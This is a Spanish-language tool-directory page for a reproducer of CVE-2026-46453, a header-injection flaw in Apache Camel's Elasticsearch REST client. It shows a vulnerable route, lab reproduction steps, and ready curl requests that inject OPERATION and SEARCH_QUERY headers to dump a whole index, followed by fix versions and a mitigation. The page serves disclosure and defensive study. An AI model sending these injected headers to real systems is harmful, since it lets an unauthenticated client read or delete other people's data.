Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-46453 — Reproductor para CVE-2026-46453 — Apache Camel camel-elasticsearch-rest-client inyección de cabeceras sin prefijo (anulación de operación/consulta mediante cabeceras HTTP entrantes) | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-46453
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Seguridad de APIsPruebas de PenetraciónAprendizaje y Educación
GitHuboscerd/cve-2026-46453

CVE-2026-46453

Reproductor para CVE-2026-46453 — Apache Camel camel-elasticsearch-rest-client inyección de cabeceras sin prefijo (anulación de operación/consulta mediante cabeceras HTTP entrantes)

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Reproducción de inyección de encabezado sin prefijo camel-elasticsearch-rest-client (CVE-2026-46453)

Este proyecto demuestra una inyección de encabezados de mensaje / omisión de autorización en el componente camel-elasticsearch-rest-client de Apache Camel, registrada como CVE-2026-46453. El componente lee varios encabezados de Exchange para controlar su comportamiento: SEARCH_QUERY, OPERATION, INDEX_NAME, INDEX_SETTINGS, ID. En las versiones afectadas, estos valores de cadena de los encabezados son nombres simples, sin prefijo ("OPERATION", "SEARCH_QUERY", …) en lugar de los nombres con prefijo Camel que usan todos los demás componentes. La HttpHeaderFilterStrategy entrante de Camel solo bloquea nombres que comienzan con Camel/camel, por lo que estos encabezados atraviesan el filtro entrante sin cambios. Cuando una ruta expone un punto de entrada HTTP (p. ej. platform-http) delante de un productor elasticsearch-rest-client, un cliente HTTP no confiable puede establecer estos encabezados directamente y anular la consulta y la operación que el autor de la ruta configuró — leyendo todo el índice, eliminando documentos, etc. No se requieren credenciales.

Aviso: https://camel.apache.org/security/CVE-2026-46453.html

Resumen de la vulnerabilidad

Misma familia de inyección de encabezados que CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 y CVE-2026-47323 — todas derivadas de componentes que leen encabezados entrantes que la HeaderFilterStrategy predeterminada no bloquea porque los nombres no comienzan con el prefijo Camel.

Detalles técnicos

root@kitploit:~
// ElasticSearchRestClientConstant - afectado en 4.18.2 (valores sin prefijo)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";

// ElasticsearchRestClientProducer#resolveOperation - el encabezado prevalece sobre la operación configurada del endpoint
ElasticsearchRestClientOperation operation
        = exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);

HttpHeaderFilterStrategy bloquea solo Camel*/camel*, por lo que un encabezado HTTP entrante OPERATION: SEARCH (y SEARCH_QUERY: {...}) atraviesa el filtro y anula el operation=GET_BY_ID del autor de la ruta. La corrección (4.14.8 / 4.18.3 / 4.21.0) renombra los valores a CamelElasticsearchOperation, CamelElasticsearchSearchQuery, etc., de modo que el filtro entrante los bloquea (los nombres de los campos Java no cambian).

La ruta víctima

root@kitploit:~
from("platform-http:/products")
    .to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
    // el autor de la ruta intenta una única operación segura: obtener un documento por id

Una solicitud HTTP de un atacante con OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} anula eso y vuelca todo el índice.

Estructura del repositorio

La víctima es la ruta Camel; el atacante es cualquier cliente HTTP que pueda alcanzar el endpoint platform-http. El reproductor ejecuta un Elasticsearch real en Docker y la aplicación Camel en el host (la aplicación se comunica con ES a través del puerto mapeado).

root@kitploit:~
CVE-2026-46453/
├── pom.xml                 # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml      # Elasticsearch 8.15.3 (seguridad deshabilitada)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── EsSeeder.java           # siembra un documento "public" y uno "secret"
    │   ├── VictimRoute.java        # platform-http -> elasticsearch-rest-client (GET_BY_ID)
    │   └── ExploitController.java  # atacante: GET_BY_ID legítimo vs OPERATION=SEARCH inyectado
    └── resources/
        └── application.properties

Requisitos previos

  • Java 17+ y Maven 3.8+
  • Docker (ejecuta Elasticsearch)

Pasos de reproducción

Paso 1: Iniciar Elasticsearch

root@kitploit:~
docker compose up -d
# esperar hasta que esté listo:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/     # -> 200

Paso 2: Compilar y ejecutar la aplicación (en el host, comunicándose con el contenedor de ES)

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# la aplicación siembra el índice 'products' con un documento público y uno secreto al iniciar

Paso 3: Disparar la inyección de encabezado

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# === 1) Solicitud legítima (ID=public-1) ===
#   {"name":"Public Widget","visibility":"public"}      secreto filtrado: false
# === 2) Solicitud de ataque (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
#   [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ]   secreto filtrado: true
#
# >>> Prueba de inyección de encabezado — el atacante anuló la operación y leyó todo el índice: true

También puedes hacerlo manualmente: los encabezados inyectados atraviesan directamente el filtro entrante de platform-http:

root@kitploit:~
# legítimo: el GET_BY_ID del autor de la ruta devuelve solo el documento público
curl -s -H "ID: public-1" http://localhost:8080/products
# ataque: anular la operación y volcar todo el índice (incluido el secreto)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products

Limpieza

root@kitploit:~
docker compose down

Vectores de ataque

Cualquier ruta que exponga un punto de entrada HTTP delante de un productor elasticsearch-rest-client. El atacante establece OPERATION, SEARCH_QUERY, INDEX_NAME, INDEX_SETTINGS o ID en la solicitud HTTP entrante; estos omiten el filtro entrante de prefijo Camel y llegan al productor.

Condiciones de explotación

  1. Un consumidor HTTP (p. ej. platform-http) que enrute a un productor elasticsearch-rest-client en una versión afectada.
  2. La HttpHeaderFilterStrategy predeterminada (que bloquea solo Camel*), que no cubre los encabezados ES sin prefijo.

Corrección recomendada

Actualiza a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23508), que agrega el prefijo Camel a los valores de los encabezados para que el filtro entrante los bloquee.

Mitigación

Hasta que actualices, elimina los encabezados afectados de los mensajes entrantes no confiables antes del productor:

root@kitploit:~
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")

o aplica una HeaderFilterStrategy personalizada que bloquee estos nombres.

Aviso legal

Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo uses contra sistemas sin permiso explícito.

Descargar herramienta
PropiedadValor
Componentecamel-elasticsearch-rest-client
Constantes afectadasElasticSearchRestClientConstant — ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION (valores sin prefijo)
CWECWE-20 (Validación de entrada incorrecta) + CWE-639 (Omisión de autorización mediante clave controlada por el usuario)
ImpactoUn cliente HTTP no confiable anula la operación/consulta de ES — leer/eliminar/exfiltrar documentos
Versiones afectadasDesde 4.3.0 antes de 4.14.8, desde 4.15.0 antes de 4.18.3, desde 4.19.0 antes de 4.21.0
Versiones corregidas4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23508
Reportado porYu Bao (PayPal)